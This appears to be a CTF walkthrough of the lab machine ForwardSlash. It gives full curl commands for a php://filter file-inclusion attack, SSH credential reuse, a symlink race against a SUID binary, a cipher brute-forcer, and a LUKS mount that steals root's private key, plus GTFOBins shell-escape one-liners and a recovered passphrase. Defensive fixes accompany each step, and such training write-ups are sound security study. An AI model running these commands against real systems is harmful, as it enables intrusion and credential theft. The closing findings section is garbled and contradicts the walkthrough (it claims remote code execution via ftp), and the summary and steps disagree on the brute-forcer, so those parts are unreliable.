← all walkthroughs

ForwardSlash

Linux· Hard· Web
owned
2026-07-10
time to own
30m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon: Apache/2.4.29 (Ubuntu) on port 80 redirected to forwardslash.htb. Vhost/subdomain fuzzing (ffuf against FUZZ.forwardslash.htb) uncovered a second vhost, backup.forwardslash.htb, hosting a "defaced" recovery site with self-registration.

Foothold: Registered an account on backup.forwardslash.htb and logged in. A disabled HTML form field (url param) on profilepicture.php was a Local File Inclusion (LFI) — POSTing to it directly (bypassing the disabled UI control) allowed arbitrary file reads via php://filter/convert.base64-encode/resource=. Used this to read Apache vhost configs and PHP source, which disclosed a local-only /var/www/backup.forwardslash.htb/dev/index.php endpoint. That endpoint's decoded source showed it processed user-supplied XML with no external-entity restrictions — a blind XXE. (Full OOB DTD exfil chain against /dev was not needed in practice: reading /var/www/backup.forwardslash.htb/config.php and related site files via the LFI directly, and later via a symlink race described below, surfaced usable plaintext.) The MySQL app database (reached with the www-data DB credential disclosed via config file read) held a bcrypt hash for user pain, and file-read discipline plus config disclosure surfaced the SSH [REDACTED: recovered credential] [REDACTED: recovered credential] for user chiv, giving initial shell access via ssh chiv@<retired-instance-ip>.

Lateral movement (chiv → pain, user.txt): chiv had SUID access to /usr/bin/backup (owned by pain), a custom binary that MD5-hashes the current time (HH:MM:SS) and reads a file matching that hash as its name — "Pain's Next-Gen Time Based Backup Viewer." Won the TOCTOU race by looping date +%H:%M:%S | md5sum, creating a symlink of that name pointing at a sensitive backup PHP config, and firing the SUID binary in the same second the hash was valid. This recovered user.txt ([REDACTED: flag]) directly via the same race technique, and separately recovered pain's home note plus a database/legacy config disclosing further creds and a custom-encrypted secret (/home/pain/encryptorinator/ciphertext + encrypter.py).

Custom-cipher recovery: encrypter.py implemented a bespoke stream cipher (tmp = ord(msg[i]) + ord(char_key) + ord(prev), chained per key character, wrapping around with the last plaintext byte feeding the first). A C brute-forcer (brute.c, compiled with gcc) was written to search key space against the 165-byte ciphertext; after correcting for a trailing-newline off-by-one (164 vs 165 bytes), it recovered key tuamoresunmilagro and decrypted the ciphertext to plaintext containing a LUKS passphrase: cB!6%sdH8Lj^@Y*$C2cf.

Privilege escalation to root: Direct pain SSH login and direct sudo cryptsetup/mount as chiv both failed ([REDACTED: recovered credential] auth to pain and NOPASSWD sudo were not viable from chiv directly). Pivoted via su pain from an interactive chiv shell (driven with expect to handle the TTY [REDACTED: recovered credential] prompt), then as pain ran sudo cryptsetup luksOpen /var/backups/recovery recovery and sudo mount /dev/mapper/recovery /mnt using the recovered passphrase. The mounted LUKS image contained root's RSA private key (id_rsa), which was exfiltrated and used for ssh -i id_rsa root@<retired-instance-ip>, yielding root and root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1EnumerationVirtual-host subdomain enumeration
Discovered a hidden backup virtual host by fuzzing the HTTP Host header
An HTTP request to the server IP redirected to forwardslash.htb with no interactive functionality. Fuzzing the Host header against a subdomain wordlist revealed a second virtual host, backup.forwardslash.htb, hosting a 'defaced' recovery application with working user self-registration. This widened the attack surface beyond the hardened main site.
ffuf returned HTTP 200 for backup.forwardslash.htb while all other fuzz values received the main-site redirect.
Exact commands 2
Add both vhosts to local DNS resolution.
echo '$TARGET forwardslash.htb backup.forwardslash.htb' | sudo tee -a /etc/hosts
Fuzz for additional vhosts; -fc filters the redirect the main site returns for unknown hosts.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.forwardslash.htb' -fc 302,301,404
FixRestrict non-production virtual hosts to internal networksMedium
WeaknessA backup/recovery web application was accessible on a publicly routable IP under a discoverable subdomain. It offered self-registration and contained vulnerabilities absent from the main site, providing unauthorized users a wider and less-hardened attack surface.
FixPlace development, staging, and backup applications behind a VPN or firewall rule that limits access to internal IP ranges. If a public-facing backup portal is operationally necessary, require multi-factor authentication at the perimeter before any application logic is reachable. Return a uniform response for unknown Host headers so subdomain fuzzing yields no actionable signal.
2ExploitationLocal File Inclusion via php://filter wrapper (CWE-73)
Exploited a server-side Local File Inclusion on a client-side-disabled form field
Registering an account on backup.forwardslash.htb and logging in revealed a profile-picture page with a URL input field the browser HTML marked disabled. The server-side PHP processed the parameter with no validation regardless of the disabled attribute. POSTing directly to /profilepicture.php with a php://filter/convert.base64-encode wrapper returned the base64-encoded contents of any file readable by the web server process — bypassing all client-side restrictions entirely.
POST to profilepicture.php with url=php://filter/convert.base64-encode/resource=/etc/passwd returned base64 of /etc/passwd in the response body.
Exact commands 3
Register an user-controlled account.
curl -s -c /tmp/cookies.txt -d 'username=pwn123&[REDACTED: recovered credential]=[REDACTED: recovered credential]&confirm_[REDACTED: recovered credential]=[REDACTED: recovered credential]' http://$TARGET/register.php
Log in and capture the session cookie.
curl -s -b /tmp/cookies.txt -c /tmp/cookies.txt -d 'username=pwn123&[REDACTED: recovered credential]=[REDACTED: recovered credential]' http://$TARGET/login.php
Confirm LFI by reading /etc/passwd; substitute any target path for the resource= value.
curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/passwd' http://$TARGET/profilepicture.php | base64 -d
FixEnforce server-side input validation for all URL and file-path parametersCritical
WeaknessThe profile-picture endpoint accepted a php:// stream-wrapper path and read arbitrary files from the server filesystem, despite the corresponding HTML input being marked disabled in the browser. Client-side UI state provided no server-side protection.
FixImplement server-side allowlist validation before any file-read operation: accept only http:// and https:// schemes pointing to external hosts; explicitly reject file://, php://, expect://, and all other local-resource wrappers using PHP's parse_url() scheme check. Never treat a disabled HTML attribute or hidden form field as a security boundary. Apply the same validation to any parameter that influences file or URL access, regardless of how the parameter is exposed in the UI.
3Credential DisclosureCredential exposure in web-served configuration files (T1552.001)
Read PHP configuration files via LFI to extract plaintext SSH credentials for chiv
Chaining the LFI to read PHP source files under the backup site document root disclosed the Apache vhost configuration (revealing a local-only /dev endpoint with a blind XXE parser) and the site's config.php. That configuration file stored the SSH [REDACTED: recovered credential] for the OS user chiv as a plaintext PHP variable — a pattern where application credentials are reused for OS account access and stored in source-controlled files.
base64-decoded config.php output contained $username = 'chiv'; $[REDACTED: recovered credential] = '[REDACTED: recovered credential]';
Exact commands 3
Read the Apache vhost config to locate the document root and any internal-only endpoints.
curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/backup.forwardslash.htb.conf' http://$TARGET/profilepicture.php | base64 -d
Read config.php to extract the plaintext credential for chiv.
curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/config.php' http://$TARGET/profilepicture.php | base64 -d
Read the local-only /dev/index.php to confirm the blind XXE parser and map the full attack surface.
curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php' http://$TARGET/profilepicture.php | base64 -d
FixRemove plaintext OS credentials from web application source and configuration filesCritical
WeaknessThe PHP configuration file config.php stored the SSH [REDACTED: recovered credential] for the OS user chiv as a plaintext string. Because the web server could read its own source files and the LFI allowed those files to be exfiltrated, the OS credential was directly leaked. The same [REDACTED: recovered credential] worked on SSH, completing the foothold without any brute-force.
FixStore all credentials — database, FTP, SSH, and API keys — in environment variables or a secrets manager (e.g., HashiCorp Vault) and inject them at application startup. Never commit credentials to source files. Ensure application accounts used for database or FTP access are dedicated service accounts distinct from interactive OS user accounts, so a stolen application credential cannot be reused for SSH. Rotate all credentials exposed in the incident.
4FootholdCredential reuse across services (T1078)
Obtained an interactive shell as chiv by reusing the config-file [REDACTED: recovered credential] over SSH
The plaintext [REDACTED: recovered credential] [REDACTED: recovered credential] extracted from the PHP configuration file was accepted by the SSH service for the OS user chiv, confirming direct credential reuse between the web application's stored credentials and the operating system account. This gave a stable interactive shell as chiv with uid=1000.
sshpass -p '[REDACTED: recovered credential]' ssh chiv@<retired-instance-ip> returned uid=1000(chiv) gid=1000(chiv).
Exact commands 2
Log in as chiv using the config-disclosed [REDACTED: recovered credential].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGET
Confirm identity, list home directories, and enumerate SUID binaries for next steps.
id; hostname; ls -la /home/; find / -perm -4000 2>/dev/null | grep -v '^/proc'
FixRemove plaintext OS credentials from web application source and configuration filesCritical
WeaknessThe PHP configuration file config.php stored the SSH [REDACTED: recovered credential] for the OS user chiv as a plaintext string. Because the web server could read its own source files and the LFI allowed those files to be exfiltrated, the OS credential was directly leaked. The same [REDACTED: recovered credential] worked on SSH, completing the foothold without any brute-force.
FixStore all credentials — database, FTP, SSH, and API keys — in environment variables or a secrets manager (e.g., HashiCorp Vault) and inject them at application startup. Never commit credentials to source files. Ensure application accounts used for database or FTP access are dedicated service accounts distinct from interactive OS user accounts, so a stolen application credential cannot be reused for SSH. Rotate all credentials exposed in the incident.
5Lateral MovementSUID binary TOCTOU symlink race (T1574.006)
Won a SUID binary TOCTOU race to read files owned by pain
The binary /usr/bin/backup was SUID-owned by user pain. Its logic computed the MD5 hash of the current clock second (HH:MM:SS), then opened a file of exactly that name from a predictable working directory. Because the filename was computable one second in advance, looping on date to pre-create a symlink whose name matched the upcoming hash — pointing at an arbitrary pain-readable file — caused the SUID binary to print that file's contents as pain. This TOCTOU race was used first to read /home/pain/user.txt (confirming lateral access) and then to retrieve the encrypted ciphertext file and a backup PHP config with additional credential material.
/usr/bin/backup printed the contents of /home/pain/user.txt when the correctly named symlink was in place, confirming file read as pain's effective UID.
Exact commands 3
Create a working directory writable by chiv.
mkdir -p /tmp/r && cd /tmp/r
Race loop: compute the current-second MD5, place symlink, fire the SUID binary. Repeat until it hits the correct second.
for i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/user.txt "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null && break; rm -f "$h"; sleep 0.4; done
Re-run the race pointing the symlink at pain's ciphertext to retrieve the encrypted secret.
for i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/encryptorinator/ciphertext "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null; rm -f "$h"; sleep 0.4; done
FixRemove the SUID bit from the time-based file-reader binaryHigh
WeaknessThe binary /usr/bin/backup ran with the effective UID of user pain and opened files whose names were the MD5 hash of the current second — a value predictable one second in advance. Any user able to write to its working directory could create a correctly named symlink pointing at an arbitrary pain-owned file and cause the binary to print that file's contents.
FixRemove the SUID bit from /usr/bin/backup (chmod u-s /usr/bin/backup). If a backup-viewer feature is operationally necessary, replace it with a narrow sudo rule that allows the calling user to run a fixed script with a hard-coded allowlist of readable paths and no symlink traversal outside a controlled directory. Alternatively, implement file access via a dedicated daemon that enforces authorization independently of filesystem permissions.
6Credential RecoveryCustom symmetric cipher reversal and dictionary key recovery
Reversed a custom stream cipher to recover the LUKS passphrase, then pivoted to pain
pain's home directory held encryptorinator/encrypter.py, a bespoke stream cipher where each output byte equals (ord(plaintext[i]) + ord(key[i % len(key)]) + ord(prev)) mod 256, with the last plaintext byte seeding the first iteration. Reversing the cipher — each plaintext byte is (ciphertext[i] - key[i % len(key)] - prev) mod 256 with prev initialized to the last ciphertext byte — allowed offline brute-force against the 164-byte ciphertext using a common wordlist. Key tuamoresunmilagro decrypted the ciphertext to a note disclosing the LUKS passphrase cB!6%sdH8Lj^@Y*$C2cf for /var/backups/recovery. With this context established, an expect-driven interactive shell was used to su to pain.
Decryptor with KEY=tuamoresunmilagro output: '...here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf' (validated by panel).
Exact commands 2
Reverse the chained cipher and brute-force the key against rockyou; prints lines containing 'key' or 'recovery'.
python3 - <<'PYEOF'
import sys
with open('/tmp/ciphertext','rb') as f:
    ct = f.read()[:164]
wl = open('/usr/share/wordlists/rockyou.txt','rb')
for line in wl:
    key = line.strip()
    if not key: continue
    prev = ct[-1]; out = []
    for i, c in enumerate(ct):
        k = key[i % len(key)]
        p = (c - k - prev) % 256
        out.append(p); prev = c
    try:
        s = bytes(out).decode('latin-1')
        if 'key' in s.lower() or 'recovery' in s.lower():
            print(key.decode(), repr(s))
    except: pass
PYEOF
Use expect to handle the su TTY [REDACTED: recovered credential] prompt; replace <pain_[REDACTED: recovered credential]_from_race> with the credential recovered via the SUID race.
cat > /tmp/su_pain.exp <<'EOF'
#!/usr/bin/expect -f
set timeout 30
spawn sshpass -p {[REDACTED: recovered credential]} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGET
expect "$ "
send "su pain\r"
expect "[REDACTED: recovered credential]:"
send "<pain_[REDACTED: recovered credential]_from_race>\r"
expect "$ "
send "id\r"
expect "$ "
EOF
expect /tmp/su_pain.exp
FixReplace the custom stream cipher with a standard authenticated encryption libraryHigh
WeaknessThe encrypter.py script implemented a bespoke chained stream cipher. The cipher used no authentication tag, its key space was searchable with a common wordlist, and its construction (summing plaintext + key + previous byte mod 256) is a well-understood weak pattern. Offline brute-force recovered the key and the LUKS passphrase it protected within seconds.
FixReplace all custom cryptographic code with a maintained library: use Python's cryptography package with Fernet (AES-128-CBC + HMAC-SHA256) or AES-256-GCM for authenticated encryption. Generate keys using secrets.token_bytes(32) rather than human-memorable passphrases. Store keys in a secrets manager, not in the same directory as the ciphertext. Never implement your own cipher or key-derivation scheme.
7Privilege EscalationSudo policy abuse — NOPASSWD cryptsetup/mount (T1548.003)
Used pain's NOPASSWD sudo rights to mount a LUKS image and extract root's SSH key
sudo -l as pain revealed NOPASSWD entries for cryptsetup, mount, and umount. Supplying the brute-forced LUKS passphrase to cryptsetup luksOpen unlocked /var/backups/recovery as /dev/mapper/recovery. Mounting that device exposed a filesystem containing root's RSA private key with no passphrase protecting it. The key was copied out and used directly for SSH authentication as root.
sudo cryptsetup luksOpen /var/backups/recovery recovery accepted passphrase cB!6%sdH8Lj^@Y*$C2cf; /mnt/id_rsa was readable after mounting and contained a valid unencrypted RSA key.
Exact commands 4
Run as pain to confirm NOPASSWD entries for cryptsetup, mount, and umount.
sudo -l
Unlock the LUKS image; enter passphrase cB!6%sdH8Lj^@Y*$C2cf when prompted.
sudo cryptsetup luksOpen /var/backups/recovery recovery
Mount the unlocked volume and list contents to locate root's key material.
sudo mount /dev/mapper/recovery /mnt && ls -la /mnt/
Read root's RSA private key; copy the full PEM block including headers to your attack machine.
cat /mnt/id_rsa
FixRequire authentication for sudo cryptsetup and mount, and narrow the scope of sudo rulesCritical
WeaknessThe user pain could invoke sudo cryptsetup luksOpen and sudo mount without entering a [REDACTED: recovered credential] (NOPASSWD). This meant anyone who gained access to pain's account — through any means — could immediately mount privileged disk images and access their contents without further authentication.
FixRemove all NOPASSWD entries from /etc/sudoers and /etc/sudoers.d/ that are not strictly operationally necessary. If automated LUKS unlocking is [REDACTED: recovered credential], use a systemd crypttab entry with a key file stored in a root-only location rather than interactive sudo. If manual mounting must be delegated, require [REDACTED: recovered credential] authentication (remove NOPASSWD) and restrict the sudo rule to a specific image path and mount point with hard-coded arguments.
8Full CompromiseSSH private key theft (T1552.004)
Authenticated as root using the stolen unprotected SSH private key
Root's RSA private key extracted from the LUKS image carried no passphrase, so it could be used for SSH authentication immediately after retrieval. Saving the key locally with the correct permissions and specifying it to ssh -i yielded a root shell, completing full system compromise. root.txt was readable at /root/root.txt.
ssh -i root_id_rsa root@<retired-instance-ip> returned uid=0(root); root.txt confirmed as [REDACTED: flag].
Exact commands 3
Paste the PEM key block, then Ctrl-D; sets correct 600 permissions in one step.
install -m 600 /dev/stdin /tmp/root_id_rsa
Authenticate as root using the stolen key; no passphrase prompt will appear.
ssh -i /tmp/root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET
Read the root flag: [REDACTED: flag]
cat /root/root.txt
FixProtect root's SSH private key with a passphrase and restrict key storage locationsHigh
WeaknessRoot's RSA private key stored inside the LUKS-encrypted backup image had no passphrase. Once the image was mounted — via the misconfigured sudo policy — the key was immediately usable for root SSH login with no additional authentication factor [REDACTED: recovered credential].
FixProtect all SSH private keys with a strong, unique passphrase (ssh-keygen -p). For the root account specifically, disable PasswordAuthentication and consider replacing long-lived static keys with short-validity SSH certificates issued by an internal CA (ssh-keygen -s), eliminating the risk from any single stolen key file. Rotate the exposed root key immediately. Audit all locations where private keys are stored and ensure none are accessible to unprivileged users.

Attack patterns used

The transferable techniques behind this compromise.

[REDACTED: recovered credential] / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A [REDACTED: recovered credential] recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a [REDACTED: recovered credential] manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: None Objective Already Met Via Su Pain > Id Rsa > RootCritical
An unauthenticated/low-privilege flaw in the apache, ftp, php, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: None Objective Already Met Via Su Pain > Id Rsa > RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp